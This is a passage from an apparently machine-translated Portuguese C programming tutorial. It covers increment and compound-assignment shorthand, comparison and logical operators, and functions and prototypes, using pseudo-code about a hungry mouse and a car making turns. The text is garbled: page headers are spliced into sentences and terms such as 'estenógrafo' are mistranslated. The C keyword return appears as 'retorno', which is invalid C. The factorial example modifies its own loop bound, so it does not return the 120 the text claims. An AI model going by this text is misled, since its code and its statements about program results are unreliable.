loops.</p><p>Expressão Completa Shorthand Explicação</p><p>i = i + 1 i++ ou ++i Adicionar 1 à variável.</p><p>i = i - 1 i-- ou --i Subtrair 1 da variável.</p><p>Estas expressões abreviadas podem ser combinadas com outras operações</p><p>aritméticas para produzir expressões mais complexas. É aqui que a diferença</p><p>entre i++ e ++i se torna aparente. A primeira expressão significa Incrementar o</p><p>valor de i por 1 após a avaliação da operação aritmética, enquanto a segunda</p><p>expressão significa Incrementar o valor de i por 1 antes de avaliar a operação</p><p>aritmética. O exemplo a seguir ajudará a esclarecer.</p><p>int a, b;</p><p>a = 5;</p><p>b = a++ * 6;</p><p>No final deste conjunto de instruções, b conterá 30 e a conterá 6, já que o</p><p>estenógrafo de b = a++ * 6; é equivalente às seguintes afirmações:</p><p>b = a * 6; a</p><p>= a + 1;</p><p>Entretanto, se a instrução b = ++a * 6; for usada, a ordem da adição a uma</p><p>mudança, resultando nas seguintes instruções equivalentes:</p><p>a = a + 1;</p><p>b = a * 6;</p><p>Como a ordem mudou, neste caso b conterá 36, e a ainda conterá 6.</p><p>Programação 21</p><p>Com bastante freqüência nos programas, as variáveis precisam ser</p><p>modificadas no lugar. Por exemplo, você pode precisar adicionar um valor</p><p>arbitrário como 12 a uma variável e armazenar o resultado de volta naquela</p><p>variável (por exemplo, i = i + 12). Isto acontece com freqüência o</p><p>suficiente para que a abreviação também exista para ela.</p><p>Expressão Completa Explicação de Curtas Expressões</p><p>i = i + 12 i+=12 Acrescente algum valor à variável.</p><p>i = i - 12 i-=12 Subtrair algum valor da variável. i = i</p><p>* 12 i*=12 Multiplique algum valor pela</p><p>variável. i = i / 12 i/=12 Dividir algum valor da</p><p>variável.</p><p>0x243 Comparação Operadores</p><p>As variáveis são freqüentemente usadas nas declarações condicionais das</p><p>estruturas de controle explicadas anteriormente. Estas declarações</p><p>condicionais são baseadas em algum tipo de comparação. Em C, estes</p><p>operadores de comparação utilizam uma sintaxe resumida que é bastante</p><p>comum em muitas linguagens de programação.</p><p>Condição Símbolo Exemplo</p><p>Menos de < (a < b)</p><p>Maior do que > (a > b)</p><p>Menor ou igual a <= (a <= b)</p><p>Maior ou igual a >= (a >= b)</p><p>Igual a == (a == b)</p><p>Não igual a != (a != b)</p><p>A maioria desses operadores são auto-explicativos; no entanto, observe</p><p>que o estenógrafo para igual utiliza sinais de dupla igualdade. Esta é uma</p><p>distinção importante, já que o sinal de dupla igual é usado para testar a</p><p>equivalência,</p>
<p>enquanto o sinal de simples igual é usado para atribuir um valor</p><p>a uma variável. A afirmação a = 7 significa colocar o valor 7 na variável a,</p><p>enquanto a == 7 significa verificar se a variável a é igual a 7. (Algumas linguagens</p><p>de programação como Pascal realmente usam := para atribuição de variável</p><p>para eliminar confusão visual). Além disso, observe que um ponto de</p><p>exclamação geralmente significa não. Este símbolo pode ser usado por si só</p><p>para inverter qualquer expressão.</p><p>!(a < b) é equivalente a (a >= b)</p><p>Estes operadores de comparação também podem ser encadeados</p><p>usando mão curta para OR e AND.</p><p>Lógica Símbolo Exemplo</p><p>22 0 x 2</p><p>0 0</p><p>OU || ((a < b) || (a < c))</p><p>E && ((a < b) && !(a < c))</p><p>Programação 23</p><p>A declaração de exemplo que consiste nas duas condições menores</p><p>unidas à lógica OR será verdadeira se a for menor que b, OU se a for menor</p><p>que c. Da mesma forma, a declaração de exemplo que consiste em duas</p><p>comparações menores unidas à lógica AND será verdadeira se a for menor</p><p>que b AND a não for menor que c. Estas declarações devem ser agrupadas</p><p>com parênteses e podem conter muitas variações diferentes.</p><p>Muitas coisas podem ser resumidas a variáveis, operadores de</p><p>comparação e estruturas de controle. Voltando ao exemplo do mouse em</p><p>busca de alimentos, a fome pode ser traduzida em uma variável booleana</p><p>verdadeiro/falso. Naturalmente, 1 significa verdadeiro e 0 significa falso.</p><p>Enquanto (faminto == 1)</p><p>{</p><p>Encontre alguns</p><p>alimentos; Coma</p><p>os alimentos;</p><p>}</p><p>Aqui está outra estenografia usada com bastante freqüência por</p><p>programadores e hackers. C não tem realmente nenhum operador booleano,</p><p>portanto qualquer valor não zero é considerado verdadeiro, e uma</p><p>declaração é considerada falsa se contiver 0. Na verdade, os operadores de</p><p>comparação retornarão um valor 1 se a comparação for verdadeira e um</p><p>valor 0 se for falsa. Ao verificar se a variável faminto é igual a 1, o operador de</p><p>comparação poderá retornar 1 se o faminto for igual a 1 e 0 se o faminto for</p><p>igual a 0. Como o programa só usa estes dois casos, o operador de</p><p>comparação pode ser descartado completamente.</p><p>Enquanto (faminto)</p><p>{</p><p>Encontre alguns</p><p>alimentos; Coma</p><p>os alimentos;</p><p>}</p><p>Um programa de mouse mais inteligente com mais entradas demonstra</p><p>como os operadores de comparação de filho podem ser combinados com</p><p>variáveis.</p><p>Enquanto ((faminto) && !(cat_presente))</p><p>{</p><p>Encontre alguns alimentos;</p><p>If(!(food_is_on_a_mousetrap))</p><p>Coma os alimentos;</p><p>}</p><p>Este exemplo assume também que existem variáveis que descrevem a</p><p>presença de um gato e a localização do alimento, com um valor de 1 para</p><p>verdadeiro e 0 para falso. Basta lembrar que qualquer valor não zero é</p><p>considerado verdadeiro, e o valor 0 é considerado falso.</p><p>24 0 x 2</p><p>0 0</p><p>0x244 Funções</p><p>Às vezes haverá um conjunto de instruções que o programador sabe que vai</p><p>precisar várias vezes. Estas instruções podem ser agrupadas em um sub-</p><p>programa menor chamado função. Em outros idiomas, as funções são</p><p>conhecidas como sub-rotinas ou procedimentos. Por exemplo, a ação de virar</p><p>um carro na verdade consiste em muitas instruções menores: Ligue o pisca-</p><p>pisca apropriado, abrande, verifique se há tráfego em sentido contrário, vire o</p><p>volante na direção apropriada, e assim por diante. As instruções de direção</p><p>desde o início deste cap- ter exigem algumas curvas; no entanto, listar cada</p><p>pequena instrução para cada curva seria tedioso (e menos legível). Você pode</p><p>passar variáveis como argumentos para uma função a fim de modificar a</p><p>maneira como a função funciona. Neste caso, a função é passada a direção da</p><p>curva.</p><p>Função Turn(variável_direção)</p><p>{</p><p>Ative o pisca-pisca de direção da variável;</p><p>diminua a velocidade;</p><p>Verifique o tráfego em sentido</p><p>contrário; enquanto (há tráfego</p><p>em sentido contrário)</p><p>{</p><p>Pare;</p><p>Cuidado com o tráfego em sentido contrário;</p><p>}</p><p>Gire o volante para a direção_variável; enquanto(a volta não</p><p>está completa)</p><p>{</p><p>if(velocidade < 5</p><p>mph) Acelerar;</p><p>}</p><p>Volte o volante para a posição original; desligue o pisca-pisca</p><p>de direção variável_;</p><p>}</p><p>Esta função descreve todas as instruções necessárias para fazer uma</p><p>curva. Quando um programa que conhece esta função precisa dar uma volta,</p><p>ele pode simplesmente chamar esta função. Quando a função é chamada, as</p><p>instruções encontradas dentro dela são executadas com os argumentos</p><p>passados a ela; depois, a execução retorna para onde estava no programa,</p><p>após a chamada da função. Tanto a esquerda quanto a direita podem ser</p><p>passadas para esta função, o que faz com que a função gire naquela</p><p>direção.</p><p>Por padrão em C, as funções podem devolver um valor a um chamador.</p><p>Para aqueles familiarizados com funções em matemática, isto faz todo o</p><p>sentido. Imagine uma função que calcula o fatorial de um número-</p><p>naturalmente, ela retorna o resultado.</p><p>Em C, as funções não são etiquetadas com uma palavra-chave "função";</p><p>em vez disso, são declaradas pelo tipo de dados da variável que estão</p><p>retornando. Este formato se parece muito com a declaração da variável. Se</p><p>Programação 25</p><p>uma função é destinada a retornar uma</p><p>26 0 x 2</p><p>0 0</p><p>inteiro (talvez uma função que calcula o fatorial de algum número x), a</p><p>função poderia ter este aspecto:</p><p>int factorial(int x)</p><p>{</p><p>int i;</p><p>for(i=1; i < x; i++)</p><p>x *= i;</p><p>retorno x;</p><p>}</p><p>Esta função é declarada como um número inteiro porque multiplica cada</p><p>valor de 1 a x e retorna o resultado, que é um número inteiro. A declaração</p><p>de retorno no final da função passa de volta o conteúdo da variável x e</p><p>termina a função. Esta função fatorial pode então ser usada como uma</p><p>variável inteira na parte principal de qualquer programa que saiba sobre ela.</p><p>int a=5, b;</p><p>b = factorial(a);</p><p>No final deste curto programa, a variável b conterá 120, já que a função</p><p>fatorial será chamada com o argumento de 5 e retornará 120.</p><p>Também em C, o compilador deve "conhecer" as funções antes de poder</p><p>utilizá-las. Isto pode ser feito simplesmente escrevendo toda a função antes</p><p>de usá-la mais tarde no programa ou usando protótipos de funções. Um</p><p>protótipo de função é simplesmente uma maneira de dizer ao compilador para</p><p>esperar uma função com este nome, este tipo de dados de retorno e estes</p><p>tipos de dados como seus argumentos funcionais. A função real pode ser</p><p>localizada perto do final do programa, mas pode ser usada em qualquer outro</p><p>lugar, já que o compilador já sabe sobre ela. Um exemplo de um protótipo de</p><p>func- tion para a função factorial() seria algo parecido com isto:</p><p>int factorial(int);</p><p>Normalmente, os protótipos de funções estão localizados perto do início</p><p>de um programa. Não há necessidade de definir realmente qualquer nome de</p><p>variável no protótipo, uma vez que isto é feito na função real. A única coisa</p><p>que o compilador se preocupa é o nome da função, seu tipo de dados de</p><p>retorno, e os tipos de dados de seus argumentos funcionais.</p><p>Se uma função não tem valor algum para retornar, ela deve ser declarada</p><p>nula, como é o caso da função turn() que usei como exemplo</p><p>anteriormente. Entretanto, a função turn() ainda não captura toda a</p><p>funcionalidade que nossas direções de direção necessitam. Cada curva nas</p><p>direções tem tanto uma direção quanto um nome de rua. Isto significa que</p><p>uma função de viragem deve ter duas variáveis: a direção para virar e a rua</p><p>para virar. Isto complica a função de virar, uma vez que a rua adequada</p><p>deve ser localizada antes que a curva possa ser feita. Uma função de</p><p>viragem mais completa, usando uma sintaxe semelhante à do C, está</p><p>listada abaixo em pseudo-código.</p><p>Programação 27</p><p>volta vazia(variável_direção, nome_da_rede_alvo)</p><p>{</p><p>Procure por uma placa de rua;</p><p>current_intersection_name = leia o nome do sinal de rua;</p><p>while(current_intersection_name != target_street_name)</p><p>{</p><p>Procure outra placa de rua;</p><p>nome_de_intersecção_actual = leia o nome da placa</p><p>de rua;</p><p>}</p><p>Ative o pisca-pisca de direção da variável;</p><p>diminua a velocidade;</p><p>Verifique o tráfego em sentido</p><p>contrário; enquanto (há tráfego</p><p>em sentido contrário)</p><p>{</p><p>Pare;</p><p>Cuidado com o tráfego em sentido contrário;</p><p>}</p>